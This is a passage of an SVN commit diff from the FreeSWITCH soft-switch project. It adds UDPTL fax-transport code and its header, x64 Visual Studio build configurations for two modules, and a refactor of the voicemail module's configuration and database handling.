+            for (i = (limit - span*entries) & UDPTL_BUF_MASK;  i != limit;  i = (i + entries) & UDPTL_BUF_MASK)
+            {
+                if (high_tide < s->tx[i].buf_len)
+                {
+                    for (j = 0;  j < high_tide;  j++)
+                        fec[j] ^= s->tx[i].buf[j];
+                    for (  ;  j < s->tx[i].buf_len;  j++)
+                        fec[j] = s->tx[i].buf[j];
+                    high_tide = s->tx[i].buf_len;
+                }
+                else
+                {
+                    for (j = 0;  j < s->tx[i].buf_len;  j++)
+                        fec[j] ^= s->tx[i].buf[j];
+                }
+            }
+            if (encode_open_type(buf, &len, fec, high_tide) < 0)
+                return -1;
+        }
+        break;
+    }
+
+    if (s->verbose)
+        fprintf(stderr, "\n");
+    s->tx_seq_no++;
+    return len;
+}
+/*- End of function --------------------------------------------------------*/
+
+int udptl_set_error_correction(udptl_state_t *s,
+                               int ec_scheme,
+                               int span,
+                               int entries)
+{
+    switch (ec_scheme)
+    {
+    case UDPTL_ERROR_CORRECTION_FEC:
+    case UDPTL_ERROR_CORRECTION_REDUNDANCY:
+    case UDPTL_ERROR_CORRECTION_NONE:
+        s->error_correction_scheme = ec_scheme;
+        break;
+    case -1:
+        /* Just don't change the scheme */
+        break;
+    default:
+        return -1;
+    }
+    if (span >= 0)
+        s->error_correction_span = span;
+    if (entries >= 0)
+        s->error_correction_entries = entries;
+    return 0;
+}
+/*- End of function --------------------------------------------------------*/
+
+int udptl_get_error_correction(udptl_state_t *s,
+                               int *ec_scheme,
+                               int *span,
+                               int *entries)
+{
+    if (ec_scheme)
+        *ec_scheme = s->error_correction_scheme;
+    if (span)
+        *span = s->error_correction_span;
+    if (entries)
+        *entries = s->error_correction_entries;
+    return 0;
+}
+/*- End of function --------------------------------------------------------*/
+
+int udptl_set_local_max_datagram(udptl_state_t *s, int max_datagram)
+{
+    s->local_max_datagram_size = max_datagram;
+    return 0;
+}
+/*- End of function --------------------------------------------------------*/
+
+int udptl_get_local_max_datagram(udptl_state_t *s)
+{
+    return s->local_max_datagram_size;
+}
+/*- End of function --------------------------------------------------------*/
+
+int udptl_set_far_max_datagram(udptl_state_t *s, int max_datagram)
+{
+    s->far_max_datagram_size = max_datagram;
+    return 0;
+}
+/*- End of function --------------------------------------------------------*/
+
+int udptl_get_far_max_datagram(udptl_state_t *s)
+{
+    return s->far_max_datagram_size;
+}
+/*- End of function --------------------------------------------------------*/
+
+udptl_state_t *udptl_init(udptl_state_t *s,
+                          int ec_scheme,
+                          int span,
+                          int entries,
+                          udptl_rx_packet_handler_t rx_packet_handler,
+                          void *user_data)
+{
+    int i;
+
+    if (rx_packet_handler == NULL)
+        return NULL;
+
+    if (s == NULL)
+    {
+        if ((s = (udptl_state_t *) malloc(sizeof(*s))) == NULL)
+            return NULL;
+    }
+    memset(s, 0, sizeof(*s));    
+    
+    s->error_correction_scheme = ec_scheme;
+    s->error_correction_span = span;
+    s->error_correction_entries = entries;
+    
+    s->far_max_datagram_size = LOCAL_FAX_MAX_DATAGRAM;
+    s->local_max_datagram_size = LOCAL_FAX_MAX_DATAGRAM;
+
+    memset(&s->rx, 0, sizeof(s->rx));
+    memset(&s->tx, 0, sizeof(s->tx));
+    for (i = 0;  i <= UDPTL_BUF_MASK;  i++)
+    {
+        s->rx[i].buf_len = -1;
+        s->tx[i].buf_len = -1;
+    }
+
+    s->rx_packet_handler = rx_packet_handler;
+    s->user_data = user_data;
+
+    return s;
+}
+/*- End of function --------------------------------------------------------*/
+
+int udptl_release(udptl_state_t *s)
+{
+    return 0;
+}
+/*- End of function --------------------------------------------------------*/
+/*- End of file ------------------------------------------------------------*/

Deleted: freeswitch/branches/seven/src/mod/applications/mod_t38gateway/udptl.h

Copied: freeswitch/branches/seven/src/mod/applications/mod_t38gateway/udptl.h (from rev 14471, freeswitch/trunk/src/mod/applications/mod_t38gateway/udptl.h) (0 => 14472)


--- freeswitch/branches/seven/src/mod/applications/mod_t38gateway/udptl.h	                        (rev 0)
+++ freeswitch/branches/seven/src/mod/applications/mod_t38gateway/udptl.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,170 @@
+/* 
+ * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
+ * Copyright (C) 2009, Steve Underwood <steveu@coppice.org>
+ *
+ * Version: MPL 1.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * Contributor(s):
+ * 
+ * Steve Underwood <steveu@coppice.org>
+ *
+ * udptl.h -- UDPTL handling for T.38
+ *
+ */
+
+#if !defined(_UDPTL_H_)
+#define _UDPTL_H_
+
+#define LOCAL_FAX_MAX_DATAGRAM      400
+#define LOCAL_FAX_MAX_FEC_PACKETS   5
+
+#define UDPTL_BUF_MASK              15
+
+typedef int (udptl_rx_packet_handler_t)(void *user_data, const uint8_t msg[], int len, int seq_no);
+
+typedef struct
+{
+    int buf_len;
+    uint8_t buf[LOCAL_FAX_MAX_DATAGRAM];
+} udptl_fec_tx_buffer_t;
+
+typedef struct
+{
+    int buf_len;
+    uint8_t buf[LOCAL_FAX_MAX_DATAGRAM];
+    int fec_len[LOCAL_FAX_MAX_FEC_PACKETS];
+    uint8_t fec[LOCAL_FAX_MAX_FEC_PACKETS][LOCAL_FAX_MAX_DATAGRAM];
+    int fec_span;
+    int fec_entries;
+} udptl_fec_rx_buffer_t;
+
+struct udptl_state_s
+{
+    udptl_rx_packet_handler_t *rx_packet_handler;
+    void *user_data;
+
+    /*! This option indicates the error correction scheme used in transmitted UDPTL
+        packets. */
+    int error_correction_scheme;
+
+    /*! This option indicates the number of error correction entries transmitted in
+        UDPTL packets. */
+    int error_correction_entries;
+
+    /*! This option indicates the span of the error correction entries in transmitted
+        UDPTL packets (FEC only). */
+    int error_correction_span;
+
+    /*! This option indicates the maximum size of a datagram that can be accepted by
+        the remote device. */
+    int far_max_datagram_size;
+
+    /*! This option indicates the maximum size of a datagram that we are prepared to
+        accept. */
+    int local_max_datagram_size;
+
+    int verbose;
+
+    int tx_seq_no;
+    int rx_seq_no;
+    int rx_expected_seq_no;
+
+    udptl_fec_tx_buffer_t tx[UDPTL_BUF_MASK + 1];
+    udptl_fec_rx_buffer_t rx[UDPTL_BUF_MASK + 1];
+};
+
+enum
+{
+    UDPTL_ERROR_CORRECTION_NONE,
+    UDPTL_ERROR_CORRECTION_FEC,
+    UDPTL_ERROR_CORRECTION_REDUNDANCY
+};
+
+typedef struct udptl_state_s udptl_state_t;
+
+#if defined(__cplusplus)
+extern "C"
+{
+#endif
+
+/*! \brief Process an arriving UDPTL packet.
+    \param s The UDPTL context.
+    \param buf The UDPTL packet buffer.
+    \param len The length of the packet.
+    \return 0 for OK. */
+int udptl_rx_packet(udptl_state_t *s, const uint8_t buf[], int len);
+
+/*! \brief Construct a UDPTL packet, ready for transmission.
+    \param s The UDPTL context.
+    \param buf The UDPTL packet buffer.
+    \param msg The primary packet.
+    \param len The length of the primary packet.
+    \return The length of the constructed UDPTL packet. */
+int udptl_build_packet(udptl_state_t *s, uint8_t buf[], const uint8_t msg[], int msg_len);
+
+/*! \brief Change the error correction settings of a UDPTL context.
+    \param s The UDPTL context.
+    \param ec_scheme One of the optional error correction schemes.
+    \param span The packet span over which error correction should be applied.
+    \param entries The number of error correction entries to include in packets.
+    \return 0 for OK. */
+int udptl_set_error_correction(udptl_state_t *s,
+                               int ec_scheme,
+                               int span,
+                               int entries);
+
+/*! \brief Check the error correction settings of a UDPTL context.
+    \param s The UDPTL context.
+    \param ec_scheme One of the optional error correction schemes.
+    \param span The packet span over which error correction is being applied.
+    \param entries The number of error correction being included in packets.
+    \return 0 for OK. */
+int udptl_get_error_correction(udptl_state_t *s,
+                               int *ec_scheme,
+                               int *span,
+                               int *entries);
+
+int udptl_set_local_max_datagram(udptl_state_t *s, int max_datagram);
+
+int udptl_get_local_max_datagram(udptl_state_t *s);
+
+int udptl_set_far_max_datagram(udptl_state_t *s, int max_datagram);
+
+int udptl_get_far_max_datagram(udptl_state_t *s);
+
+/*! \brief Initialise a UDPTL context.
+    \param s The UDPTL context.
+    \param ec_scheme One of the optional error correction schemes.
+    \param span The packet span over which error correction should be applied.
+    \param entries The number of error correction entries to include in packets.
+    \param rx_packet_handler The callback function, used to report arriving IFP packets.
+    \param user_data An opaque pointer supplied to rx_packet_handler.
+    \return A pointer to the UDPTL context, or NULL if there was a problem. */
+udptl_state_t *udptl_init(udptl_state_t *s,
+                          int ec_scheme,
+                          int span,
+                          int entries,
+                          udptl_rx_packet_handler_t rx_packet_handler,
+                          void *user_data);
+
+/*! \brief Release a UDPTL context.
+    \param s The UDPTL context.
+    \return 0 for OK. */
+int udptl_release(udptl_state_t *s);
+
+#if defined(__cplusplus)
+}
+#endif
+
+#endif
+/*- End of file ------------------------------------------------------------*/

Property changes: freeswitch/branches/seven/src/mod/applications/mod_vmd


Name: svn:ignore
   - Debug
*.pdb
*.user
Release
   + Debug
*.pdb
*.user
Release
Win32
x64
Makefile

Modified: freeswitch/branches/seven/src/mod/applications/mod_vmd/mod_vmd.2008.vcproj (14471 => 14472)


--- freeswitch/branches/seven/src/mod/applications/mod_vmd/mod_vmd.2008.vcproj	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/applications/mod_vmd/mod_vmd.2008.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -12,6 +12,9 @@
 		<Platform
 			Name="Win32"
 		/>
+		<Platform
+			Name="x64"
+		/>
 	</Platforms>
 	<ToolFiles>
 	</ToolFiles>
@@ -78,6 +81,70 @@
 			/>
 		</Configuration>
 		<Configuration
+			Name="Debug|x64"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_debug.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				UsePrecompiledHeader="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				OutputFile="$(SolutionDir)$(PlatformName)\$(ConfigurationName)/mod/$(ProjectName).dll"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
 			Name="Release|Win32"
 			ConfigurationType="2"
 			InheritedPropertySheets="..\..\..\..\w32\module_release.vsprops"
@@ -138,6 +205,70 @@
 				Name="VCPostBuildEventTool"
 			/>
 		</Configuration>
+		<Configuration
+			Name="Release|x64"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_release.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				UsePrecompiledHeader="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				OutputFile="$(SolutionDir)$(PlatformName)\$(ConfigurationName)/mod/$(ProjectName).dll"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
 	</Configurations>
 	<References>
 	</References>

Modified: freeswitch/branches/seven/src/mod/applications/mod_vmd/mod_vmd.c (14471 => 14472)


--- freeswitch/branches/seven/src/mod/applications/mod_vmd/mod_vmd.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/applications/mod_vmd/mod_vmd.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -247,11 +247,11 @@
     }
 
 /*
-    if(vmd_info->data_len != len){
+    if (vmd_info->data_len != len){
 	vmd_info->data_len = len;
-	if(vmd_info->data != NULL) free(vmd_info->data);
+	if (vmd_info->data != NULL) free(vmd_info->data);
 	vmd_info->data = (int16_t *)malloc(len);
-	if(vmd_info->data == NULL) return SWITCH_FALSE;
+	if (vmd_info->data == NULL) return SWITCH_FALSE;
     } 
 
     (void)memcpy(vmd_info->data, data, len);
@@ -323,7 +323,7 @@
 
             switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "Beep-Status", "stop");
             switch_event_add_header(event, SWITCH_STACK_BOTTOM, "Beep-Time", "%d", (int) vmd_info->timestamp / POINTS);
-            switch_event_add_header(event, SWITCH_STACK_BOTTOM, "Unique-ID", "%s", switch_core_session_get_uuid(vmd_info->session));
+            switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "Unique-ID", switch_core_session_get_uuid(vmd_info->session));
             switch_event_add_header(event, SWITCH_STACK_BOTTOM, "Frequency", "%6.4lf", vmd_info->beep_freq);
             switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "call-command", "vmd");
 

Property changes: freeswitch/branches/seven/src/mod/applications/mod_voicemail


Name: svn:ignore
   - mod_voicemail.so
.libs
Debug
*.pdb
*.user
Release
debug
   + mod_voicemail.so
.libs
Debug
*.pdb
*.user
Release
debug
Win32
x64
Makefile

Deleted: freeswitch/branches/seven/src/mod/applications/mod_voicemail/Makefile

Modified: freeswitch/branches/seven/src/mod/applications/mod_voicemail/mod_voicemail.2008.vcproj (14471 => 14472)


--- freeswitch/branches/seven/src/mod/applications/mod_voicemail/mod_voicemail.2008.vcproj	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/applications/mod_voicemail/mod_voicemail.2008.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -12,6 +12,9 @@
 		<Platform
 			Name="Win32"
 		/>
+		<Platform
+			Name="x64"
+		/>
 	</Platforms>
 	<ToolFiles>
 	</ToolFiles>
@@ -78,6 +81,70 @@
 			/>
 		</Configuration>
 		<Configuration
+			Name="Debug|x64"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_debug.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				UsePrecompiledHeader="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				OutputFile="$(SolutionDir)$(PlatformName)\$(ConfigurationName)/mod/$(ProjectName).dll"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
 			Name="Release|Win32"
 			ConfigurationType="2"
 			InheritedPropertySheets="..\..\..\..\w32\module_release.vsprops"
@@ -138,6 +205,70 @@
 				Name="VCPostBuildEventTool"
 			/>
 		</Configuration>
+		<Configuration
+			Name="Release|x64"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_release.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				UsePrecompiledHeader="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				OutputFile="$(SolutionDir)$(PlatformName)\$(ConfigurationName)/mod/$(ProjectName).dll"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
 	</Configurations>
 	<References>
 	</References>

Modified: freeswitch/branches/seven/src/mod/applications/mod_voicemail/mod_voicemail.c (14471 => 14472)


--- freeswitch/branches/seven/src/mod/applications/mod_voicemail/mod_voicemail.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/applications/mod_voicemail/mod_voicemail.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /* 
  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
  *
  * Version: MPL 1.1
  *
@@ -17,13 +17,13 @@
  * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
  *
  * The Initial Developer of the Original Code is
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Portions created by the Initial Developer are Copyright (C)
  * the Initial Developer. All Rights Reserved.
  *
  * Contributor(s):
  * 
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Bret McDanel <trixter AT 0xdecafbad.com>
  * John Wehle (john@feith.com)
  * Raymond Chandler <intralanman@gmail.com>
@@ -33,10 +33,6 @@
  */
 #include <switch.h>
 
-#ifdef SWITCH_HAVE_ODBC
-#include <switch_odbc.h>
-#endif
-
 #ifdef _MSC_VER					/* compilers are stupid sometimes */
 #define TRY_CODE(code) for(;;) {status = code; if (status != SWITCH_STATUS_SUCCESS && status != SWITCH_STATUS_BREAK) { goto end; } break;}
 #else
@@ -44,16 +40,20 @@
 #endif
 
 SWITCH_MODULE_LOAD_FUNCTION(mod_voicemail_load);
-SWITCH_MODULE_DEFINITION(mod_voicemail, mod_voicemail_load, NULL, NULL);
+SWITCH_MODULE_SHUTDOWN_FUNCTION(mod_voicemail_shutdown);
+SWITCH_MODULE_DEFINITION(mod_voicemail, mod_voicemail_load, mod_voicemail_shutdown, NULL);
 #define VM_EVENT_MAINT "vm::maintenance"
 
 #define VM_MAX_GREETINGS 9
 
 static switch_status_t voicemail_inject(const char *data);
 
+static const char *global_cf = "voicemail.conf";
 static struct {
 	switch_hash_t *profile_hash;
 	int debug;
+	int message_query_exact_match;
+	switch_mutex_t *mutex;
 	switch_memory_pool_t *pool;
 } globals;
 
@@ -63,6 +63,17 @@
 	VM_DATE_NEVER
 } date_location_t;
 
+typedef enum {
+	PFLAG_DESTROY = 1 << 0
+} vm_flags_t;
+
+typedef enum {
+	VM_MOVE_NEXT,
+	VM_MOVE_PREV
+} msg_move_t;
+
+#define VM_PROFILE_CONFIGITEM_COUNT 100
+
 struct vm_profile {
 	char *name;
 	char *dbname;
@@ -73,8 +84,10 @@
 	char play_new_messages_key[2];
 	char play_saved_messages_key[2];
 
+	char login_keys[16];
 	char main_menu_key[2];
 	char skip_greet_key[2];
+	char skip_info_key[2];
 	char config_menu_key[2];
 	char record_greeting_key[2];
 	char choose_greeting_key[2];
@@ -92,6 +105,8 @@
 	char restart_key[2];
 	char ff_key[2];
 	char rew_key[2];
+	char prev_msg_key[2];
+	char next_msg_key[2];
 	char urgent_key[2];
 	char operator_key[2];
 	char vmain_key[2];
@@ -120,12 +135,19 @@
 	uint32_t max_login_attempts;
 	uint32_t min_record_len;
 	uint32_t max_record_len;
+	uint32_t max_retries;
 	switch_mutex_t *mutex;
 	uint32_t record_threshold;
 	uint32_t record_silence_hits;
 	uint32_t record_sample_rate;
 	switch_odbc_handle_t *master_odbc;
 	switch_bool_t auto_playback_recordings;
+	switch_thread_rwlock_t *rwlock;
+	switch_memory_pool_t *pool;
+	uint32_t flags;
+	
+	switch_xml_config_item_t config[VM_PROFILE_CONFIGITEM_COUNT];
+	switch_xml_config_string_options_t config_str_pool;
 };
 typedef struct vm_profile vm_profile_t;
 
@@ -138,9 +160,8 @@
 		switch_mutex_lock(mutex);
 	}
 
-	if (profile->odbc_dsn) {
-#ifdef SWITCH_HAVE_ODBC
-		SQLHSTMT stmt;
+	if (switch_odbc_available() && profile->odbc_dsn) {
+		switch_odbc_statement_handle_t stmt;
 		if (switch_odbc_handle_exec(profile->master_odbc, sql, &stmt) != SWITCH_ODBC_SUCCESS) {
 			char *err_str;
 			err_str = switch_odbc_handle_get_error(profile->master_odbc, stmt);
@@ -148,8 +169,7 @@
 			switch_safe_free(err_str);
 			status = SWITCH_STATUS_FALSE;
 		}
-		SQLFreeHandle(SQL_HANDLE_STMT, stmt);
-#endif
+		switch_odbc_statement_handle_free(&stmt);
 	} else {
 		if (!(db = switch_core_db_open_file(profile->dbname))) {
 			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Error Opening DB %s\n", profile->dbname);
@@ -178,10 +198,8 @@
 		switch_mutex_lock(mutex);
 	}
 
-	if (profile->odbc_dsn) {
-#ifdef SWITCH_HAVE_ODBC
+	if (switch_odbc_available() && profile->odbc_dsn) {
 		switch_odbc_handle_callback_exec(profile->master_odbc, sql, callback, pdata);
-#endif
 	} else {
 		if (!(db = switch_core_db_open_file(profile->dbname))) {
 			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Error Opening DB %s\n", profile->dbname);
@@ -233,541 +251,592 @@
 	"   password        VARCHAR(255)\n" 
 	");\n";
 
-static switch_status_t load_config(void)
+static char *vm_index_list[] = {
+	"create index voicemail_msgs_idx1 on voicemail_msgs(created_epoch)",
+	"create index voicemail_msgs_idx2 on voicemail_msgs(username)",
+	"create index voicemail_msgs_idx3 on voicemail_msgs(domain)",
+	"create index voicemail_msgs_idx4 on voicemail_msgs(uuid)",
+	"create index voicemail_msgs_idx5 on voicemail_msgs(in_folder)",
+	"create index voicemail_msgs_idx6 on voicemail_msgs(read_flags)",
+	"create index voicemail_prefs_idx1 on voicemail_prefs(username)",
+	"create index voicemail_prefs_idx2 on voicemail_prefs(domain)",
+	NULL
+};
+
+static void free_profile(vm_profile_t *profile)
 {
-	char *cf = "voicemail.conf";
+	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Destroying Profile %s\n", profile->name);
+	if (switch_odbc_available() && profile->odbc_dsn && profile->master_odbc) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Closing ODBC Database! %s\n", profile->name);
+		switch_odbc_handle_destroy(&profile->master_odbc);
+	}
+	switch_core_destroy_memory_pool(&profile->pool);
+}
+
+static void destroy_profile(const char *profile_name, switch_bool_t block) 
+{
 	vm_profile_t *profile = NULL;
-	switch_xml_t cfg, xml, settings, param, x_profile, x_profiles, x_email;
+	switch_mutex_lock(globals.mutex);
+	if ((profile = switch_core_hash_find(globals.profile_hash, profile_name))) {
+		switch_core_hash_delete(globals.profile_hash, profile_name);
+	}
+	switch_mutex_unlock(globals.mutex);
 
-	memset(&globals, 0, sizeof(globals));
-	switch_core_new_memory_pool(&globals.pool);
-	switch_core_hash_init(&globals.profile_hash, globals.pool);
+	if (!profile) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "[%s] Invalid Profile\n", profile_name);
+		return;
+	}
 
-	if (!(xml = switch_xml_open_cfg(cf, &cfg, NULL))) {
-		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Open of %s failed\n", cf);
-		return SWITCH_STATUS_TERM;
+	if (block) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "[%s] Waiting for write lock\n", profile->name);	
+		switch_thread_rwlock_wrlock(profile->rwlock);
+	} else {
+		if (switch_thread_rwlock_trywrlock(profile->rwlock) != SWITCH_STATUS_SUCCESS) {
+			/* Lock failed, set the destroy flag so it'll be destroyed whenever its not in use anymore */
+			switch_set_flag(profile, PFLAG_DESTROY);
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "[%s] Profile is in use, memory will be freed whenever its not longer in use\n", profile->name);
+			return;
+		}
 	}
+	
+	free_profile(profile);
+}
 
-	if ((settings = switch_xml_child(cfg, "settings"))) {
-		for (param = switch_xml_child(settings, "param"); param; param = param->next) {
-			char *var = (char *) switch_xml_attr_soft(param, "name");
-			char *val = (char *) switch_xml_attr_soft(param, "value");
 
-			if (!strcasecmp(var, "debug")) {
-				globals.debug = atoi(val);
+/* Static buffer, 2 bytes */
+static switch_xml_config_string_options_t config_dtmf = { NULL, 2, "[0-9#\\*]" };
+static switch_xml_config_string_options_t config_login_keys = { NULL, 16, "[0-9#\\*]*" };
+static switch_xml_config_string_options_t config_file_ext = { NULL, 10, NULL };
+static switch_xml_config_int_options_t config_int_0_10000 = { SWITCH_TRUE, 0, SWITCH_TRUE, 10000 };
+static switch_xml_config_int_options_t config_int_0_1000 = { SWITCH_TRUE, 0, SWITCH_TRUE, 1000 };
+static switch_xml_config_int_options_t config_int_digit_timeout = { SWITCH_TRUE, 0, SWITCH_TRUE, 30000 };
+static switch_xml_config_int_options_t config_int_max_logins = { SWITCH_TRUE, 0, SWITCH_TRUE, 10 };
+static switch_xml_config_int_options_t config_int_ht_0 = { SWITCH_TRUE, 0 };
+
+static switch_xml_config_enum_item_t config_play_date_announcement[] = {
+	{ "first", VM_DATE_FIRST },
+	{ "last", VM_DATE_LAST },
+	{ "never", VM_DATE_NEVER },
+	{ NULL, 0 }
+};
+
+
+static switch_status_t vm_config_email_callback(switch_xml_config_item_t *item, const char *newvalue, switch_config_callback_type_t callback_type, switch_bool_t changed)
+{
+	vm_profile_t *profile = (vm_profile_t*)item->data;
+	
+	switch_assert(profile);
+	
+	if (callback_type == CONFIG_LOAD || callback_type == CONFIG_RELOAD)
+	{
+		char *email_headers = NULL, *email_body = NULL;
+		if (newvalue) {
+			switch_stream_handle_t stream;
+			SWITCH_STANDARD_STREAM(stream);
+			if (switch_stream_write_file_contents(&stream, newvalue) == SWITCH_STATUS_SUCCESS) {		
+				email_headers = switch_core_strdup(profile->pool, stream.data);
+				if ((email_body = strstr(email_headers, "\n\n"))) {
+					*email_body = '\0';
+					email_body += 2;
+				} else if ((email_body = strstr(email_headers, "\r\n\r\n"))) {
+					*email_body = '\0';
+					email_body += 4;
+				}
 			}
+			
+			free(stream.data);
 		}
+		
+		if (email_headers) {
+			profile->email_headers = email_headers;
+		}
+		if (email_body) {
+			profile->email_body = email_body;
+		}
 	}
+	
+	return SWITCH_STATUS_SUCCESS;
+}
 
-	if (!(x_profiles = switch_xml_child(cfg, "profiles"))) {
-		goto end;
+static switch_status_t vm_config_notify_callback(switch_xml_config_item_t *item, const char *newvalue, switch_config_callback_type_t callback_type, switch_bool_t changed)
+{
+	vm_profile_t *profile = (vm_profile_t*)item->data;
+	
+	switch_assert(profile);
+		
+	if (callback_type == CONFIG_LOAD || callback_type == CONFIG_RELOAD)
+	{
+		char *email_headers = NULL, *email_body = NULL;
+		if (newvalue) {
+			switch_stream_handle_t stream;
+			SWITCH_STANDARD_STREAM(stream);
+			if (switch_stream_write_file_contents(&stream, newvalue) == SWITCH_STATUS_SUCCESS) {		
+				email_headers = switch_core_strdup(profile->pool, stream.data);
